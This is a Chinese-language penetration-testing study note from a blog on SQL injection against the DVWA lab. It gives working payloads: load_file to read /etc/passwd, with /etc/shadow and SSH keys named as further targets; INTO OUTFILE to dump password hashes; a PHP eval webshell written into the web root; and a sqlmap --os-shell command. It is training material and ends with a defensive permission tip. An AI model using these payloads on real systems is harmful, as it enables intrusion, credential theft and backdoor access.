学习笔记-渗透测试-SQL注入_012_读写文件

mysql由于需要进行备份操作,其命令语句本身具备文件读取的能力,只要权限足够,我们可以读取很多有意思的文件

1 SQL注入读文件

读文件使用load_file()函数进行,可以读取数据库有权限读取到的文件 案例:DVWA注入案例

-1' union select 1,load_file('/etc/passwd');#

image.png /etc/passwd是属于所有用户均有只读权限的文件,其他的我们还可以读取/etc/shadow,ssh秘钥用户的主目录/.ssh目录/id_rsa.pub,以及cms相关的数据库配置信息

2 SQL注入写文件

写文件使用outfile函数,对数据库有写权限的网站进行文件写入

2.1 将数据库查询结果写入文件

在进行敏感信息查询时,可以将查询结果保存到文件,然后在进行下载 例如:对user和password的查询结果写入/var/www/dvwa/目录下命名为1.bak的文件中

-1' union select user,password from users into outfile '/var/www/dvwa/1.bak' #

image.png DVWA对于该输入进行了报错,原因是因为mysql在/var/www/dvwa没有写入权限 image.png 在这里作弊,给目录777权限,然后重新执行该语句

[root@Fsec www]# chmod 777 /var/www/dvwa

查看服务器发现文件成功写入 image.png 我们可以在服务器进行查看该文件 image.png 或者使用web下载或查看该文件 image.png 其中密码为MD5加密的值,可以在MD5在线解密网站

2.2 写入一句话木马

利用outfile函数可以将一句话木马写入到一个文件内,并保存在数据库有写入权限的web路径下,并且为了能够调用该木马,我们需要提前知道web目录的具体路径

-1' union select 1,'<?php @eval($_POST[123])?>' into outfile '/var/www/dvwa/qax.php' # 

image.png 命令执行结束后,寻找对应页面,发现已经写入成功 image.png 使用蚁剑成功连接shell image.png

2.3 利用sqlmap获得shell权限

Sqlmap证明存在注入并确保有dba权限。所谓DBA权限就是数据库的最大权限。在MariaDB数据库中一般为root 在sql注入中,只要注入权限为DBA用户所管理的库时,才能行使数据库的完整权限,执行文件写入等操作

sqlmap -u "http://192.168.0.102/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="PHPSESSID=jlfn1s2klv1rspaqfh11d89lc1; security=low" --os-shell

在执行后,需要根据中间件类型,手动选择shell类型,此处选择php image.png 写入shell最重要的是掌握web目录的地址,sqlmap很贴心的提供了目录爆破的功能,不过局限性很大,很多时候并不好用,所以我们还是选择自定义web目录 image.png 完成上传获得shell image.png

2.4 其他知识

在sql注入读写文件过程中,所有的操作均为mysql软件对应用户所执行,而包括连接webshell和操作web页面时,操作用户则变为中间件用户,例如apache。所以限制mysql用户对web目录的操作权限,可以有效杜绝sql注入上传shell的情况,并不会影响页面的正常运行。

posted @ 2023-02-26 23:13  kinghtxg  阅读(179)  评论(0编辑  收藏  举报